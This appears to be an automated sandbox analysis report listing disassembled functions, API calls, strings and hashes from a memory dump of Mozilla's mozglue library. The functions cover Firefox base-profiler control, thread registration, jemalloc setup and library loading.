String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 049deccd7b179f3df5266eb65aac10e76e7929683c6140fb83ff99b66d0a272e
Instruction ID: 83ba0149e1da4508ae46db8caf5da7f62224e50d92e28a20b1727d8fa29fa8dd
Opcode Fuzzy Hash: 049deccd7b179f3df5266eb65aac10e76e7929683c6140fb83ff99b66d0a272e
Instruction Fuzzy Hash: 8751A7C1B4562622FF0431157D10BAA184DEFB724AF1C443AED1AA1F90FF05E71A86B7

Function 6C9647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C964801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C964817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C96482D
__Init_thread_footer.LIBCMT ref: 6C96484A

Part of subcall function 6C98AB3F: EnterCriticalSection.KERNEL32(6C9DE370,?,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284), ref: 6C98AB49
Part of subcall function 6C98AB3F: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98AB7C

GetCurrentThreadId.KERNEL32 ref: 6C96485F
GetCurrentThreadId.KERNEL32 ref: 6C96487E
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96488B
free.MOZGLUE(?), ref: 6C96493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C964956
free.MOZGLUE(00000000), ref: 6C964960
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96499A

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

free.MOZGLUE(?), ref: 6C9649C6
free.MOZGLUE(?), ref: 6C9649E9

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C964812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9647FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C964A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C964828
[I %d/%d] profiler_shutdown, xrefs: 6C964A06

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 2fbc5fb9be08767893a91cb3a760ae8df8be2b8a6196d0d2bf022ff6f6b5cabf
Instruction ID: 08453eb5f0dbc9816052d0d2f3ad419fc9f7ccd014a6fa1920723bf4cc2f4576
Opcode Fuzzy Hash: 2fbc5fb9be08767893a91cb3a760ae8df8be2b8a6196d0d2bf022ff6f6b5cabf
Instruction Fuzzy Hash: D0812571A049009BEB00DFA9C86876A3775AF5232DF240229D916A7FC1D731F894CF96

Function 6C964470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C964730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9644B2,6C9DE21C,6C9DF7F8), ref: 6C96473E
Part of subcall function 6C964730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C96474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9644D2
InitOnceExecuteOnce.KERNEL32(6C9DF80C,6C95F240,?,?), ref: 6C96451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C96455C
LoadLibraryW.KERNEL32(?), ref: 6C964592
InitializeCriticalSection.KERNEL32(6C9DF770), ref: 6C9645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9645BB
InitOnceExecuteOnce.KERNEL32(6C9DF818,6C95F240,?,?), ref: 6C964612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C964636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C964644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C96466D
VerSetConditionMask.NTDLL ref: 6C96469F
VerSetConditionMask.NTDLL ref: 6C9646AB
VerSetConditionMask.NTDLL ref: 6C9646B2
VerSetConditionMask.NTDLL ref: 6C9646B9
VerSetConditionMask.NTDLL ref: 6C9646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9646FD

Strings

l, xrefs: 6C964578
user32.dll, xrefs: 6C964557, 6C96463F
NativeNtBlockSet_Write, xrefs: 6C9646F7
WRusr.dll, xrefs: 6C9644B5
kernel32.dll, xrefs: 6C9644CD

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: f27f717a67b20e8f9a74b2af67ba918b4ef8d69f493e4142ebe7b93006c3dbff
Instruction ID: 95f3080130d8457ce0f29acd07269db9e794ac254ff7730002b5faff1b8e1813
Opcode Fuzzy Hash: f27f717a67b20e8f9a74b2af67ba918b4ef8d69f493e4142ebe7b93006c3dbff
Instruction Fuzzy Hash: 2261F7B16087449FFB00DFA1C80AB957BB8EB4270CF24C559E505ABA91D770E6C4CFA1

Function 6C99E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C997090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C99B9F1,?), ref: 6C997107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C99DCF5), ref: 6C99E92D
GetCurrentThreadId.KERNEL32 ref: 6C99EA4F
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EA5C
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EA80
GetCurrentThreadId.KERNEL32 ref: 6C99EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C99DCF5), ref: 6C99EA92
GetCurrentThreadId.KERNEL32 ref: 6C99EB11
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C99EB3C
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EB5B

Part of subcall function 6C995710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C99EB71), ref: 6C9957AB

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C99EBAC

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99EBC1
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C99EBE5
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,00000000), ref: 6C99EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99EC46
CloseHandle.KERNEL32(?), ref: 6C99EC55
free.MOZGLUE(00000000), ref: 6C99EC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C99EA9B
[I %d/%d] profiler_start, xrefs: 6C99EBB4

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 3145cb90d335be97890469e9718d1b74dd249c376b04779be51412aa5bf88626
Instruction ID: 2aa7de54209fbba727499cebadc23d7e2544764f98b9149ff84a5c138505d6e8
Opcode Fuzzy Hash: 3145cb90d335be97890469e9718d1b74dd249c376b04779be51412aa5bf88626
Instruction Fuzzy Hash: 39A15B31704A049FDB009F28C849B6A77B5FF9631DF298129E919A7F51DB30F884CBA1

Function 6C99F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C99F8F9

Part of subcall function 6C966390: GetCurrentThreadId.KERNEL32 ref: 6C9663D0
Part of subcall function 6C966390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9663DF
Part of subcall function 6C966390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C96640E

ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F93A
GetCurrentThreadId.KERNEL32 ref: 6C99F98A
GetCurrentThreadId.KERNEL32 ref: 6C99F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F716

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

Part of subcall function 6C95B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C95B5E0

GetCurrentThreadId.KERNEL32 ref: 6C99F739
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F746
GetCurrentThreadId.KERNEL32 ref: 6C99F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9D385B,00000002,?,?,?,?,?), ref: 6C99F829
free.MOZGLUE(?,?,00000000,?), ref: 6C99F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C99F866
free.MOZGLUE(?), ref: 6C99FA0C

Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C965E8C
Part of subcall function 6C965E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965E9D
Part of subcall function 6C965E60: GetCurrentThreadId.KERNEL32 ref: 6C965EAB
Part of subcall function 6C965E60: GetCurrentThreadId.KERNEL32 ref: 6C965EB8
Part of subcall function 6C965E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965ECF
Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C965F27
Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C965F47
Part of subcall function 6C965E60: GetCurrentProcess.KERNEL32 ref: 6C965F53
Part of subcall function 6C965E60: GetCurrentThread.KERNEL32 ref: 6C965F5C
Part of subcall function 6C965E60: GetCurrentProcess.KERNEL32 ref: 6C965F66
Part of subcall function 6C965E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C965F7E

free.MOZGLUE(?), ref: 6C99F9C5
free.MOZGLUE(?), ref: 6C99F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C99F71F
Thread , xrefs: 6C99F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C99F9A6
" attempted to re-register as ", xrefs: 6C99F858

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: adb053c41f4b996cf471cd50024806c6380a869b3b6f9227bf40ae8ed8245ea4
Instruction ID: 6b5310c5603d191f7ca0fc8477d7f63638681e90b96a7aec3afb15557e2c5248
Opcode Fuzzy Hash: adb053c41f4b996cf471cd50024806c6380a869b3b6f9227bf40ae8ed8245ea4
Instruction Fuzzy Hash: 8C81D4716047009FDB10DF24C840BAEB7B5FFA5308F59856DE849A7B51EB30E949CBA2

Function 6C99EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EE60
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EE6D
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99EEA5
CloseHandle.KERNEL32(?), ref: 6C99EEB4
free.MOZGLUE(00000000), ref: 6C99EEBB
GetCurrentThreadId.KERNEL32 ref: 6C99EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99EECF

Part of subcall function 6C99DE60: GetCurrentThreadId.KERNEL32 ref: 6C99DE73
Part of subcall function 6C99DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C964A68), ref: 6C99DE7B
Part of subcall function 6C99DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C964A68), ref: 6C99DEB8
Part of subcall function 6C99DE60: free.MOZGLUE(00000000,?,6C964A68), ref: 6C99DEFE
Part of subcall function 6C99DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C99DF38

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

GetCurrentThreadId.KERNEL32 ref: 6C99EF1E
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EF2B
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EF59
GetCurrentThreadId.KERNEL32 ref: 6C99EFB0
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EFBD
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EFE1
GetCurrentThreadId.KERNEL32 ref: 6C99EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F000

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C99F02F

Part of subcall function 6C99F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C99F09B
Part of subcall function 6C99F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C99F0AC
Part of subcall function 6C99F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C99F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C99EED7
[I %d/%d] profiler_pause, xrefs: 6C99F008

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 451629b7ceba5a161d3ef492f19b905726d78a02939a6caee69f6441b36fb32a
Instruction ID: b8a4fbac2efcb96a32d5c2e6a1e40db27ab5d879d583546039f975c505bbd21f
Opcode Fuzzy Hash: 451629b7ceba5a161d3ef492f19b905726d78a02939a6caee69f6441b36fb32a
Instruction Fuzzy Hash: 88510531608A109FDB005BA4D80E7A577B8FB5631EF38465AE919A3F40DB31F884C7E2

Function 6C98D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9DE804), ref: 6C98D047
GetSystemInfo.KERNEL32(?), ref: 6C98D093
__Init_thread_footer.LIBCMT ref: 6C98D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9DE810,00000040), ref: 6C98D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7B8,00001388), ref: 6C98D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE744,00001388), ref: 6C98D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE784,00001388), ref: 6C98D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7DC,00001388), ref: 6C98D1B1

Strings

MALLOC_OPTIONS, xrefs: 6C98D0CB
Compile-time page size does not divide the runtime one., xrefs: 6C98D26D
MOZ_CRASH(), xrefs: 6C98D277
: (malloc) Unsupported character in malloc options: ', xrefs: 6C98D322
<jemalloc>, xrefs: 6C98D268, 6C98D311

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 616c17d146eabda93402be3f25cd2f4f1caf4e6c323954c565650965d5ccdee2
Instruction ID: bd55a90260161550d85c816f729a0fabb3bfec874916e14820055cbf37d57902
Opcode Fuzzy Hash: 616c17d146eabda93402be3f25cd2f4f1caf4e6c323954c565650965d5ccdee2
Instruction Fuzzy Hash: EE811871B0AA02DBEB04DF68C944B69B7B5FB56B04F20491AE901B7B80D771F880CBD1

Function 6C965E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965E9D

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

GetCurrentThreadId.KERNEL32 ref: 6C965EAB
GetCurrentThreadId.KERNEL32 ref: 6C965EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C966017

Part of subcall function 6C954310: moz_xmalloc.MOZGLUE(00000010,?,6C9542D2), ref: 6C95436A
Part of subcall function 6C954310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9542D2), ref: 6C954387

moz_xmalloc.MOZGLUE(00000004), ref: 6C965F47
GetCurrentProcess.KERNEL32 ref: 6C965F53
GetCurrentThread.KERNEL32 ref: 6C965F5C
GetCurrentProcess.KERNEL32 ref: 6C965F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C965F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C965F27

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C965E8C

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C96605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C9660CC

Strings

GeckoMain, xrefs: 6C965ECE, 6C966015

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

